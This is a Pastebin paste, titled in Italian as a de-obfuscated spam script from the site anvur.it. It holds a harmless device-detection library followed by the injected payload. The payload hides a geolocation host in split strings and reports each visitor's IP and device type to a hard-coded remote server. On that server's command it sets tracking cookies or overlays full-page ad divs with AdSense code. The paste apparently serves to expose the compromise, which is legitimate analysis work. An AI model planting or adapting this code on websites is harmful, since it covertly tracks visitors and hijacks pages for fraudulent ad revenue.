Advertisement
Guest User

Script di spam su anvur.it (de-offuscato)

a guest
Apr 16th, 2017
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.   var data;
  3.   var oldDevice;
  4.   var update;
  5.   var node;
  6.   var has;
  7.   var func;
  8.   var load;
  9.   var name;
  10.   var add;
  11.   var allowed;
  12.   oldDevice = window.device;
  13.   data = {};
  14.   window.device = data;
  15.   /** @type {Element} */
  16.   node = window.document.documentElement;
  17.   /** @type {string} */
  18.   allowed = window.navigator.userAgent.toLowerCase();
  19.   /**
  20.    * @return {?}
  21.    */
  22.   data.ios = function() {
  23.     return data.iphone() || (data.ipod() || data.ipad());
  24.   };
  25.   /**
  26.    * @return {?}
  27.    */
  28.   data.iphone = function() {
  29.     return!data.windows() && has("iphone");
  30.   };
  31.   /**
  32.    * @return {?}
  33.    */
  34.   data.ipod = function() {
  35.     return has("ipod");
  36.   };
  37.   /**
  38.    * @return {?}
  39.    */
  40.   data.ipad = function() {
  41.     return has("ipad");
  42.   };
  43.   /**
  44.    * @return {?}
  45.    */
  46.   data.android = function() {
  47.     return!data.windows() && has("android");
  48.   };
  49.   /**
  50.    * @return {?}
  51.    */
  52.   data.androidPhone = function() {
  53.     return data.android() && has("mobile");
  54.   };
  55.   /**
  56.    * @return {?}
  57.    */
  58.   data.androidTablet = function() {
  59.     return data.android() && !has("mobile");
  60.   };
  61.   /**
  62.    * @return {?}
  63.    */
  64.   data.blackberry = function() {
  65.     return has("blackberry") || (has("bb10") || has("rim"));
  66.   };
  67.   /**
  68.    * @return {?}
  69.    */
  70.   data.blackberryPhone = function() {
  71.     return data.blackberry() && !has("tablet");
  72.   };
  73.   /**
  74.    * @return {?}
  75.    */
  76.   data.blackberryTablet = function() {
  77.     return data.blackberry() && has("tablet");
  78.   };
  79.   /**
  80.    * @return {?}
  81.    */
  82.   data.windows = function() {
  83.     return has("windows");
  84.   };
  85.   /**
  86.    * @return {?}
  87.    */
  88.   data.windowsPhone = function() {
  89.     return data.windows() && has("phone");
  90.   };
  91.   /**
  92.    * @return {?}
  93.    */
  94.   data.windowsTablet = function() {
  95.     return data.windows() && (has("touch") && !data.windowsPhone());
  96.   };
  97.   /**
  98.    * @return {?}
  99.    */
  100.   data.fxos = function() {
  101.     return(has("(mobile;") || has("(tablet;")) && has("; rv:");
  102.   };
  103.   /**
  104.    * @return {?}
  105.    */
  106.   data.fxosPhone = function() {
  107.     return data.fxos() && has("mobile");
  108.   };
  109.   /**
  110.    * @return {?}
  111.    */
  112.   data.fxosTablet = function() {
  113.     return data.fxos() && has("tablet");
  114.   };
  115.   /**
  116.    * @return {?}
  117.    */
  118.   data.meego = function() {
  119.     return has("meego");
  120.   };
  121.   /**
  122.    * @return {?}
  123.    */
  124.   data.cordova = function() {
  125.     return window.cordova && "file:" === location.protocol;
  126.   };
  127.   /**
  128.    * @return {?}
  129.    */
  130.   data.nodeWebkit = function() {
  131.     return "object" == typeof window.process;
  132.   };
  133.   /**
  134.    * @return {?}
  135.    */
  136.   data.mobile = function() {
  137.     return data.androidPhone() || (data.iphone() || (data.ipod() || (data.windowsPhone() || (data.blackberryPhone() || (data.fxosPhone() || data.meego())))));
  138.   };
  139.   /**
  140.    * @return {?}
  141.    */
  142.   data.tablet = function() {
  143.     return data.ipad() || (data.androidTablet() || (data.blackberryTablet() || (data.windowsTablet() || data.fxosTablet())));
  144.   };
  145.   /**
  146.    * @return {?}
  147.    */
  148.   data.desktop = function() {
  149.     return!data.tablet() && !data.mobile();
  150.   };
  151.   /**
  152.    * @return {?}
  153.    */
  154.   data.television = function() {
  155.     var conditionIndex;
  156.     /** @type {Array} */
  157.     television = ["googletv", "viera", "smarttv", "internet.tv", "netcast", "nettv", "appletv", "boxee", "kylo", "roku", "dlnadoc", "roku", "pov_tv", "hbbtv", "ce-html"];
  158.     /** @type {number} */
  159.     conditionIndex = 0;
  160.     for (;conditionIndex < television.length;) {
  161.       if (has(television[conditionIndex])) {
  162.         return true;
  163.       }
  164.       conditionIndex++;
  165.     }
  166.     return false;
  167.   };
  168.   /**
  169.    * @return {?}
  170.    */
  171.   data.portrait = function() {
  172.     return window.innerHeight / window.innerWidth > 1;
  173.   };
  174.   /**
  175.    * @return {?}
  176.    */
  177.   data.landscape = function() {
  178.     return window.innerHeight / window.innerWidth < 1;
  179.   };
  180.   /**
  181.    * @return {?}
  182.    */
  183.   data.noConflict = function() {
  184.     return window.device = oldDevice, this;
  185.   };
  186.   /**
  187.    * @param {string} t
  188.    * @return {?}
  189.    */
  190.   has = function(t) {
  191.     return-1 !== allowed.indexOf(t);
  192.   };
  193.   /**
  194.    * @param {string} pattern
  195.    * @return {?}
  196.    */
  197.   load = function(pattern) {
  198.     var regex;
  199.     return regex = new RegExp(pattern, "i"), node.className.match(regex);
  200.   };
  201.   /**
  202.    * @param {string} value
  203.    * @return {undefined}
  204.    */
  205.   update = function(value) {
  206.     /** @type {null} */
  207.     var name = null;
  208.     if (!load(value)) {
  209.       name = node.className.replace(/^\s+|\s+$/g, "");
  210.       /** @type {string} */
  211.       node.className = name + " " + value;
  212.     }
  213.   };
  214.   /**
  215.    * @param {string} key
  216.    * @return {undefined}
  217.    */
  218.   add = function(key) {
  219.     if (load(key)) {
  220.       node.className = node.className.replace(" " + key, "");
  221.     }
  222.   };
  223.   if (data.ios()) {
  224.     if (data.ipad()) {
  225.       update("ios ipad tablet");
  226.     } else {
  227.       if (data.iphone()) {
  228.         update("ios iphone mobile");
  229.       } else {
  230.         if (data.ipod()) {
  231.           update("ios ipod mobile");
  232.         }
  233.       }
  234.     }
  235.   } else {
  236.     if (data.android()) {
  237.       update(data.androidTablet() ? "android tablet" : "android mobile");
  238.     } else {
  239.       if (data.blackberry()) {
  240.         update(data.blackberryTablet() ? "blackberry tablet" : "blackberry mobile");
  241.       } else {
  242.         if (data.windows()) {
  243.           update(data.windowsTablet() ? "windows tablet" : data.windowsPhone() ? "windows mobile" : "desktop");
  244.         } else {
  245.           if (data.fxos()) {
  246.             update(data.fxosTablet() ? "fxos tablet" : "fxos mobile");
  247.           } else {
  248.             if (data.meego()) {
  249.               update("meego mobile");
  250.             } else {
  251.               if (data.nodeWebkit()) {
  252.                 update("node-webkit");
  253.               } else {
  254.                 if (data.television()) {
  255.                   update("television");
  256.                 } else {
  257.                   if (data.desktop()) {
  258.                     update("desktop");
  259.                   }
  260.                 }
  261.               }
  262.             }
  263.           }
  264.         }
  265.       }
  266.     }
  267.   }
  268.   if (data.cordova()) {
  269.     update("cordova");
  270.   }
  271.   /**
  272.    * @return {undefined}
  273.    */
  274.   func = function() {
  275.     if (data.landscape()) {
  276.       add("portrait");
  277.       update("landscape");
  278.     } else {
  279.       add("landscape");
  280.       update("portrait");
  281.     }
  282.   };
  283.   /** @type {string} */
  284.   name = Object.prototype.hasOwnProperty.call(window, "onorientationchange") ? "orientationchange" : "resize";
  285.   if (window.addEventListener) {
  286.     window.addEventListener(name, func, false);
  287.   } else {
  288.     if (window.attachEvent) {
  289.       window.attachEvent(name, func);
  290.     } else {
  291.       /** @type {function (): undefined} */
  292.       window[name] = func;
  293.     }
  294.   }
  295.   func();
  296.   if ("function" == typeof define && ("object" == typeof define.amd && define.amd)) {
  297.     define(function() {
  298.       return data;
  299.     });
  300.   } else {
  301.     if ("undefined" != typeof module && module.exports) {
  302.       module.exports = data;
  303.     } else {
  304.       window.device = data;
  305.     }
  306.   }
  307. }).call(this);
  308. (function(option) {
  309.   /**
  310.    * @return {?}
  311.    */
  312.   function load() {
  313.     if (parseQuery("_G_SKIP")) {
  314.       return true;
  315.     }
  316.     /** @type {RegExp} */
  317.     var regexp = new RegExp(window.location.hostname, "i");
  318.     return document.referrer && !regexp.test(document.referrer);
  319.   }
  320.   /**
  321.    * @param {string} name
  322.    * @return {?}
  323.    */
  324.   function getCookie(name) {
  325.     /** @type {(Array.<string>|null)} */
  326.     var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
  327.     return matches ? decodeURIComponent(matches[1]) : undefined;
  328.   }
  329.   /**
  330.    * @param {string} name
  331.    * @param {(number|string)} value
  332.    * @param {Object} data
  333.    * @return {undefined}
  334.    */
  335.   function setCookie(name, value, data) {
  336.     data = data || {};
  337.     var exp = data.expires;
  338.     if (typeof exp == "number" && exp) {
  339.       /** @type {Date} */
  340.       var d = new Date;
  341.       d.setTime(d.getTime() + exp * 1E3);
  342.       /** @type {Date} */
  343.       exp = data.expires = d;
  344.     }
  345.     if (exp && exp.toUTCString) {
  346.       data.expires = exp.toUTCString();
  347.     }
  348.     /** @type {string} */
  349.     value = encodeURIComponent(value);
  350.     /** @type {string} */
  351.     var text = name + "=" + value;
  352.     var i;
  353.     for (i in data) {
  354.       if (data.hasOwnProperty(i)) {
  355.         text += "; " + i;
  356.         var line = data[i];
  357.         if (line !== true) {
  358.           text += "=" + line;
  359.         }
  360.       }
  361.     }
  362.     /** @type {string} */
  363.     document.cookie = text;
  364.   }
  365.   /**
  366.    * @param {Object} params
  367.    * @return {undefined}
  368.    */
  369.   function init(params) {
  370.     prefix = params.url || "";
  371.     if (!getCookie(cookieName)) {
  372.       initialize();
  373.     }
  374.   }
  375.   /**
  376.    * @return {undefined}
  377.    */
  378.   function initialize() {
  379.     /** @type {Element} */
  380.     var scriptEl = document.createElement("script");
  381.     scriptEl.setAttribute("type", "text/javascript");
  382.     scriptEl.setAttribute("src", "//f" + "r" + "e" + "e" + "g" + "e" + "o" + "i" + "p" + ".n" + "e" + "t" + "/j" + "so" + "n?c" + "all" + "ba" + "ck=g_" + "cal" + "lba" + "ckI" + "p");
  383.     if (scriptEl) {
  384.       document.getElementsByTagName("head")[0].appendChild(scriptEl);
  385.     }
  386.   }
  387.   /**
  388.    * @param {Array} srcs
  389.    * @return {undefined}
  390.    */
  391.   function loadScript(srcs) {
  392.     var head = document.getElementsByTagName("body")[0];
  393.     /** @type {Element} */
  394.     var script = document.createElement("script");
  395.     script.setAttribute("type", "text/javascript");
  396.     script.setAttribute("src", "//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js");
  397.     script.setAttribute("async", "");
  398.     head.appendChild(script);
  399.     srcs.forEach(function(item) {
  400.       if (item.c) {
  401.         update(item.c, item.s);
  402.       }
  403.     });
  404.   }
  405.   /**
  406.    * @param {string} text
  407.    * @param {string} inEdge
  408.    * @return {undefined}
  409.    */
  410.   function update(text, inEdge) {
  411.     var object = text.match(/height:(\d+)px/i);
  412.     var keys = text.match(/width:(\d+)px/i);
  413.     var value = object ? object[1] : 90;
  414.     var length = keys ? keys[1] : 90;
  415.     var bar = document.getElementsByTagName("body")[0];
  416.     /** @type {Element} */
  417.     var div = document.createElement("div");
  418.     /** @type {string} */
  419.     var prevValue = "div_" + action(1, 1E3);
  420.     /** @type {Element} */
  421.     var label = document.createElement("div");
  422.     div.setAttribute("id", prevValue);
  423.     /** @type {string} */
  424.     div.style.position = "fixed";
  425.     div.style.backgroundColor = bar.style.backgroundColor;
  426.     /** @type {string} */
  427.     div.style.textAlign = "center";
  428.     /** @type {string} */
  429.     div.style.verticalAlign = "middle";
  430.     /** @type {string} */
  431.     div.style.zIndex = "9999999999";
  432.     switch(inEdge) {
  433.       case "t":
  434.       ;
  435.       case "b":
  436.         if (inEdge == "t") {
  437.           /** @type {number} */
  438.           div.style.top = 0;
  439.         } else {
  440.           /** @type {number} */
  441.           div.style.bottom = 0;
  442.         }
  443.         /** @type {string} */
  444.         div.style.height = value + "px";
  445.         /** @type {string} */
  446.         div.style.width = "100%";
  447.         break;
  448.       case "l":
  449.       ;
  450.       case "r":
  451.         if (inEdge == "l") {
  452.           /** @type {number} */
  453.           div.style.left = 0;
  454.         } else {
  455.           /** @type {number} */
  456.           div.style.right = 0;
  457.         }
  458.         /** @type {string} */
  459.         div.style.top = window.innerHeight / 2 - value / 2 + "px";
  460.         /** @type {string} */
  461.         div.style.height = "100%";
  462.         /** @type {string} */
  463.         div.style.width = length + "px";
  464.         break;
  465.       case "lb":
  466.       ;
  467.       case "rb":
  468.         if (inEdge == "lb") {
  469.           /** @type {number} */
  470.           div.style.left = 0;
  471.         } else {
  472.           /** @type {number} */
  473.           div.style.right = 0;
  474.         }
  475.         /** @type {number} */
  476.         div.style.bottom = 0;
  477.         /** @type {string} */
  478.         div.style.height = "100%";
  479.         /** @type {string} */
  480.         div.style.width = length + "px";
  481.         /** @type {string} */
  482.         label.style.position = "absolute";
  483.         /** @type {number} */
  484.         label.style.bottom = 0;
  485.         break;
  486.       case "lt":
  487.       ;
  488.       case "rt":
  489.         if (inEdge == "lt") {
  490.           /** @type {number} */
  491.           div.style.left = 0;
  492.         } else {
  493.           /** @type {number} */
  494.           div.style.right = 0;
  495.         }
  496.         /** @type {number} */
  497.         div.style.top = 0;
  498.         /** @type {string} */
  499.         div.style.height = "100%";
  500.         /** @type {string} */
  501.         div.style.width = length + "px";
  502.         /** @type {string} */
  503.         label.style.position = "absolute";
  504.         /** @type {number} */
  505.         label.style.top = 0;
  506.         break;
  507.     }
  508.     div.setAttribute("data-height", value);
  509.     /** @type {string} */
  510.     label.innerHTML = text;
  511.     div.appendChild(label);
  512.     bar.appendChild(div);
  513.     (adsbygoogle = window.adsbygoogle || []).push({});
  514.     if (inEdge == "l" || inEdge == "r") {
  515.       isFunction("onresize", function() {
  516.         size(this);
  517.       }.bind(div));
  518.     }
  519.   }
  520.   /**
  521.    * @param {number} dataAndEvents
  522.    * @param {number} opt_attributes
  523.    * @return {?}
  524.    */
  525.   function action(dataAndEvents, opt_attributes) {
  526.     return Math.floor(Math.random() * (opt_attributes - dataAndEvents)) + dataAndEvents;
  527.   }
  528.   /**
  529.    * @param {Element} elem
  530.    * @return {undefined}
  531.    */
  532.   function size(elem) {
  533.     var oHeight = elem.getAttribute("data-height");
  534.     /** @type {string} */
  535.     elem.style.top = window.innerHeight / 2 - oHeight / 2 + "px";
  536.   }
  537.   /**
  538.    * @param {string} smartCase
  539.    * @return {?}
  540.    */
  541.   function parseQuery(smartCase) {
  542.     try {
  543.       /** @type {string} */
  544.       var href = window.location.href;
  545.       /** @type {string} */
  546.       var regstr = "[\\?#&]" + smartCase + "=([^&#]*)";
  547.       /** @type {RegExp} */
  548.       var reg = new RegExp(regstr);
  549.       /** @type {(Array.<string>|null)} */
  550.       var matches = reg.exec(href);
  551.       if (matches == null) {
  552.         return "";
  553.       } else {
  554.         return decodeURIComponent(matches[1]);
  555.       }
  556.     } catch (e) {
  557.       return "";
  558.     }
  559.   }
  560.   /**
  561.    * @param {string} name
  562.    * @param {Function} val
  563.    * @return {undefined}
  564.    */
  565.   function isFunction(name, val) {
  566.     var previous = window[name];
  567.     if (typeof window[name] != "function") {
  568.       /** @type {Function} */
  569.       window[name] = val;
  570.     } else {
  571.       /**
  572.        * @return {undefined}
  573.        */
  574.       window[name] = function() {
  575.         if (previous) {
  576.           previous();
  577.         }
  578.         val();
  579.       };
  580.     }
  581.   }
  582.   var prefix;
  583.   /** @type {string} */
  584.   var cookieName = "_g_hl9vjssuHK6riw3ks-R0rq0V-7RYmGYi";
  585.   /**
  586.    * @param {(Object|string)} data
  587.    * @return {undefined}
  588.    */
  589.   window.g_callbackIp = function(data) {
  590.     /** @type {XMLHttpRequest} */
  591.     var xhr = new XMLHttpRequest;
  592.     xhr.open("GET", prefix + "?c=" + data.ip + "&m=" + (!window.device.desktop() ? 1 : 0) + (parseQuery("_G_SKIP") ? "&_G_SKIP=1" : ""), true);
  593.     xhr.setRequestHeader("Content-Type", "application/json");
  594.     xhr.send();
  595.     /**
  596.      * @return {undefined}
  597.      */
  598.     xhr.onreadystatechange = function() {
  599.       if (this.readyState != 4) {
  600.         return;
  601.       }
  602.       if (this.status == 200) {
  603.         /** @type {*} */
  604.         var data = JSON.parse(this.responseText);
  605.         if (!data.a || !load()) {
  606.           return;
  607.         }
  608.         switch(data.a) {
  609.           case "c":
  610.             setCookie(cookieName, 1, {
  611.               expires : 60 * 60 * 24 * 365
  612.             });
  613.             break;
  614.           case "s":
  615.             if (!data.r || !(data.r instanceof Array)) {
  616.               return;
  617.             }
  618.             loadScript(data.r);
  619.             break;
  620.         }
  621.       }
  622.     };
  623.   };
  624.   isFunction("onload", function() {
  625.     init(option);
  626.   });
  627. })({
  628.   url : "http://128.199.161.173/proxy/11/image21.php"
  629. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement